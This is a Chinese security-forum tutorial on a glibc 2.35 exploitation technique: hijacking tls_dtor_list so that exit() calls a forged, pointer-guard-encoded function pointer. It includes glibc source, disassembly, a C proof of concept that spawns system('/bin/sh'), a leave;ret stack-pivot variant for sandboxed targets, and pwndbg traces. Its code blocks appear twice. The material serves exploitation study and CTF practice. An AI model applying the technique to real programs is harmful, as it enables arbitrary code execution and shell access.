-
-
[原创] Glibc-2.35下对tls_dtor_list的利用详解
-
发表于: 2024-2-15 02:33 14434
-
在glibc-2.34下,我们常用的 __free_hook、__malloc_hook、__realloc_hook、exit_hook(dl_rtld_lock_recursive、dl_rtld_unlock_recursive) 被删除,我们想要直接劫持钩子函数来执行one_gadget的打法已经失效。这也导致高版本下,打栈或者利用house of apple2、house of cat成了常态,除此之外,还有一种比较少见的类exit_hook利用姿势,即劫持 tls_dtor_list 函数来控制程序执行流
实验环境 Ubuntu GLIBC 2.35-0ubuntu3.4
函数调用链
当程序使用exit函数退出后,会进入 __run_exit_handlers函数
进入 __run_exit_handlers函数后,会首先判断 __call_tls_dtors和run_dtors是否为空,如果不为空就会调用 __call_tls_dtors函数
进入 __call_tls_dtors 函数后,会检查tls_dtor_list链表是否为空,如果不为空就就将tls_dtor_list链表赋值给dtor_list结构体,并调用其成员变量func函数,它的第一个参数甚至就是另一个成员变量obj!
dtor_list结构体原型
从而我们不难得出,如果我们劫持得了tls_dtor_list链表,就可以进入循环并控制dtor_list结构体cur,从而控制其成员变量func与obj,然后实现任意函数执行,并且第一个参数可控!
接下来,我们对着 __call_tls_dtors汇编调挑重点分析该如何利用
对此,易得我们劫持tls_dtor_list触发 system('/bin/sh') 的利用思路:
除此之外,如果题目开了沙箱ban掉execve,我们还可以栈迁移构造链
因为 __call_tls_dtors+17将fs-88(tls_dtor_list)赋值给rbp ,如果我们往 [chunk_addr] 里面填leave_ret的gadget,那么当执行leave_ret后,rip就会变成 [chunk_addr+8] ,从而执行我们在这后面构造的ROP链!!!
进入 <__call_tls_dtors>
观察目前的信息
运行到 <__call_tls_dtors+61>,可以执行system('/bin/sh')成功getshell
在开了沙盒的题目中,就可以像打栈一样构造orw链来打,非常好用!
执行完 <__call_tls_dtors+17>
观察目前的内存信息
运行到 <__call_tls_dtors+61>
步入
执行完leave;ret后,栈迁移成功,可以执system('/bin/sh')成功getshell
比起house of apple2、house of cat等高版本主流打法,利用tls_dtor_list的工作量大大减小,并且可以直接栈迁移构造ROP链,而且由于该打法是在修改fs附近的值,这个依赖的不是libc而是ld的偏移,有时能发挥奇效。
exit
__run_exit_handlers
__call_tls_dtors
func (cur->obj) <--伪造这个
exit
__run_exit_handlers
__call_tls_dtors
func (cur->obj) <--伪造这个
void
exit
(
int
status)
{
__run_exit_handlers (status, &__exit_funcs,
true
,
true
);
}
libc_hidden_def (
exit
)
void
exit
(
int
status)
{
__run_exit_handlers (status, &__exit_funcs,
true
,
true
);
}
libc_hidden_def (
exit
)
void
attribute_hidden
__run_exit_handlers (
int
status,
struct
exit_function_list **listp,
bool
run_list_atexit,
bool
run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if
(&__call_tls_dtors != NULL)
// 需要__call_tls_dtors 不为空
#endif
if
(run_dtors)
// 需要run_dtors不为空
__call_tls_dtors ();
// 调用 __call_tls_dtors
__libc_lock_lock (__exit_funcs_lock);
void
attribute_hidden
__run_exit_handlers (
int
status,
struct
exit_function_list **listp,
bool
run_list_atexit,
bool
run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if
(&__call_tls_dtors != NULL)
// 需要__call_tls_dtors 不为空
#endif
if
(run_dtors)
// 需要run_dtors不为空
__call_tls_dtors ();
// 调用 __call_tls_dtors
__libc_lock_lock (__exit_funcs_lock);
void
__call_tls_dtors (
void
)
{
while
(tls_dtor_list)
{
struct
dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free
(cur);
}
}
void
__call_tls_dtors (
void
)
{
while
(tls_dtor_list)
{
struct
dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free
(cur);
}
}
struct
dtor_list
{
dtor_func func;
// 8字节
void
*obj;
struct
link_map *map;
struct
dtor_list *next;
};
struct
dtor_list
{
dtor_func func;
// 8字节
void
*obj;
struct
link_map *map;
struct
dtor_list *next;
};
Dump of assembler code
for
function __call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d401f] # 0x7ffff7e19d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45d75 <+21>: test rbp,rbp
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__call_tls_dtors+93>
0x00007ffff7c45d7a <+26>: nop
WORD
PTR [rax+rax*1+0x0]
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18]
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0]
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8]
0x00007ffff7c45d9d <+61>: call rax
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <
free
@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret
End of assembler dump.
Dump of assembler code
for
function __call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d401f] # 0x7ffff7e19d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45d75 <+21>: test rbp,rbp
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__call_tls_dtors+93>
0x00007ffff7c45d7a <+26>: nop
WORD
PTR [rax+rax*1+0x0]
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18]
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0]
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8]
0x00007ffff7c45d9d <+61>: call rax
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <
free
@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret
End of assembler dump.
//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned
long
long
rol(unsigned
long
long
value)
{
return
(value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}
int
main() {
unsigned
long
long
fs_base;
unsigned
long
long
index = 0xffffffffffffffa8;
unsigned
long
long
tls_dtor_list_addr;
unsigned
long
long
random_num;
unsigned
long
long
libc_base = &
system
- 0x50d70;
unsigned
long
long
*str_bin_sh = libc_base + 0x1d8698;
asm
volatile
(
"mov %%fs:0x0, %0"
:
"=r"
(fs_base));
printf
(
"fs base address: 0x%llx\n"
, fs_base);
tls_dtor_list_addr = fs_base - 88;
random_num = *(unsigned
long
long
*)(fs_base + 0x30);
void
*ptr =
malloc
(0x20);
*(unsigned
long
long
*)ptr = rol((unsigned
long
long
)&
system
^ random_num);
*(unsigned
long
long
*)(ptr + 8) = str_bin_sh;
*(unsigned
long
long
*)tls_dtor_list_addr = ptr;
return
0;
}
//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned
long
long
rol(unsigned
long
long
value)
{
return
(value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}
int
main() {
unsigned
long
long
fs_base;
unsigned
long
long
index = 0xffffffffffffffa8;
unsigned
long
long
tls_dtor_list_addr;
unsigned
long
long
random_num;
unsigned
long
long
libc_base = &
system
- 0x50d70;
unsigned
long
long
*str_bin_sh = libc_base + 0x1d8698;
asm
volatile
(
"mov %%fs:0x0, %0"
:
"=r"
(fs_base));
printf
(
"fs base address: 0x%llx\n"
, fs_base);
tls_dtor_list_addr = fs_base - 88;
random_num = *(unsigned
long
long
*)(fs_base + 0x30);
void
*ptr =
malloc
(0x20);
*(unsigned
long
long
*)ptr = rol((unsigned
long
long
)&
system
^ random_num);
*(unsigned
long
long
*)(ptr + 8) = str_bin_sh;
*(unsigned
long
long
*)tls_dtor_list_addr = ptr;
return
0;
}
► 0x7ffff7c45d60 <__call_tls_dtors> endbr64
0x7ffff7c45d64 <__call_tls_dtors+4> push rbp
0x7ffff7c45d65 <__call_tls_dtors+5> push rbx
0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8
0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh]
0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
0x7ffff7c45d75 <__call_tls_dtors+21>
test
rbp, rbp
0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93>
↓
0x7ffff7c45dbd <__call_tls_dtors+93> add rsp, 8
0x7ffff7c45dc1 <__call_tls_dtors+97> pop rbx
0x7ffff7c45dc2 <__call_tls_dtors+98> pop rbp
► 0x7ffff7c45d60 <__call_tls_dtors> endbr64
0x7ffff7c45d64 <__call_tls_dtors+4> push rbp
0x7ffff7c45d65 <__call_tls_dtors+5> push rbx
0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8
0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh]
0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
0x7ffff7c45d75 <__call_tls_dtors+21>
test
rbp, rbp
0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93>
↓
0x7ffff7c45dbd <__call_tls_dtors+93> add rsp, 8
0x7ffff7c45dc1 <__call_tls_dtors+97> pop rbx
0x7ffff7c45dc2 <__call_tls_dtors+98> pop rbp
pwndbg> tls
tls : 0x7ffff7fb8740
//
fs地址
pwndbg> x
/xg
0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0
//
覆盖 tls_dtor_list为我们伪造的chunka_addr
pwndbg> x
/xg
0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0xcd950cd148267019
//
随机数
pwndbg> tel 0x55555555a6b0 2
00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a
01:0008│ 0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /*
'/bin/sh'
*/
//
该chunk的pre伪造成加密后的systerm,bk伪造为
'/bin/sh'
的地址
pwndbg> tls
tls : 0x7ffff7fb8740
//
fs地址
pwndbg> x
/xg
0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0
//
覆盖 tls_dtor_list为我们伪造的chunka_addr
pwndbg> x
/xg
0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0xcd950cd148267019
//
随机数
pwndbg> tel 0x55555555a6b0 2
00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a
01:0008│ 0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /*
'/bin/sh'
*/
//
该chunk的pre伪造成加密后的systerm,bk伪造为
'/bin/sh'
的地址
0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[30h]
0x7ffff7c45d95 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7ffff7c45d9d <__call_tls_dtors+61> call rax <system>
command
: 0x7ffff7dd8698 ◂— 0x68732f6e69622f /*
'/bin/sh'
*/
0x7ffff7c45d9f <__call_tls_dtors+63> mov rax, qword ptr [rbp + 10h]
0x7ffff7c45da3 <__call_tls_dtors+67> lock sub qword ptr [rax + 468h], 1
0x7ffff7c45dac <__call_tls_dtors+76> mov rdi, rbp
0x7ffff7c45daf <__call_tls_dtors+79> call 7ffff7c28370h <
free
@plt>
0x7ffff7c45db4 <__call_tls_dtors+84> mov rbp, qword ptr fs:[rbx]
0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!